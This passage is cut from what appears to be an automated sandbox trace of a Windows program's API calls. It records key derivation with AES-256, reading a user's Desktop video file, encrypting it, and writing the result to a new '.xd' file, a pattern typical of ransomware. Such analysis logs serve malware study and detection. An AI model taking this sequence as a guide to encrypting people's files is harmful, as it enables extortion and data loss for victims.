(in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.957] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.957] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.961] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0080.961] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0080.961] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0080.961] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0080.961] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0080.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0080.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621900, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0080.962] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0080.962] CryptDeriveKey (in: hProv=0x1631bb0, Algid=0x6610, hBaseData=0x164c370, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c630) returned 1 [0080.962] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.962] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.962] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.962] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.962] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.962] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0080.962] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0080.962] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0080.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0080.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e290, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0080.963] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0080.963] CryptDestroyHash (hHash=0x164c370) returned 1 [0080.963] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.963] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.963] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.963] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.963] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.963] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\QpuZiR9.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6\\qpuzir9.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0080.964] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.964] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0080.964] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.964] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.964] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.964] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6")) returned 0x10 [0080.965] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\QpuZiR9.mp4.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6\\qpuzir9.mp4.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8 [0080.981] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.981] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.981] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.981] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.983] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0080.983] ReadFile (in: hFile=0x3c8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xebb5, lpOverlapped=0x0) returned 1 [0080.986] ReadFile (in: hFile=0x3c8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0080.989] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.989] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.989] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.989] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0080.999] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.999] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.999] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0080.999] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0080.999] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0080.999] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0080.999] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0080.999] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0080.999] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0080.999] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0080.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0080.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e330, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0081.000] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0081.000] CryptGetKeyParam (in: hKey=0x164c630, dwParam=0x7, pbData=0x1629410, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629410*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0081.000] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0081.000] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0081.000] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.000] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.000] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.000] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.000] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.000] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.000] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0081.000] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0081.000] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0081.000] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0081.000] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0081.000] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0081.000] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0081.001] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0081.001] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0081.001] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0081.001] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.001] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.001] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.001] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.001] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0081.001] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0081.001] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0081.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0081.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621768, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0081.002] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0081.002] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xebb5, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xebc0) returned 1 [0081.002] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.002] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.002] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.002] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.002] CharLowerBuffW (in: lpsz="byte[60353]", cchLength=0xb | out: lpsz="byte[60353]") returned 0xb [0081.002] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.003] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.003] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0081.003] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0081.003] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0081.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0081.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a98, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0081.003] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0081.003] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x180ce60*, pdwDataLen=0x130e618*=0xebb5, dwBufLen=0xebc0 | out: pbData=0x180ce60*, pdwDataLen=0x130e618*=0xebc0) returned 1 [0081.004] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.004] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.004] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.004] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.004] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.004] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.004] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0081.004] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0081.004] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0081.004] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0081.004] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0081.004] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0081.004] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0081.004] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0081.004] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0081.005] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0081.005] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.009] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.009] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.009] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.009] WriteFile (in: hFile=0x3d8, lpBuffer=0x17e0b20*, nNumberOfBytesToWrite=0xebc0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17e0b20*, lpNumberOfBytesWritten=0x130f01c*=0xebc0, lpOverlapped=0x0) returned 1 [0081.010] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.010] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.010] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0081.010] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0081.010] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0081.010] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0081.010] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0081.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0081.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621150, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0081.011] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0081.011] CryptDestroyKey (hKey=0x164c630) returned 1 [0081.011] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0081.011] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0081.011] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0081.011] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0081.011] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0081.011] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0081.011] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0081.011] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0081.011] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0081.011] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0081.011] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0081.019] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0081.019] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0081.019] PeekMessageW (in: lpMsg=0x130ee44, 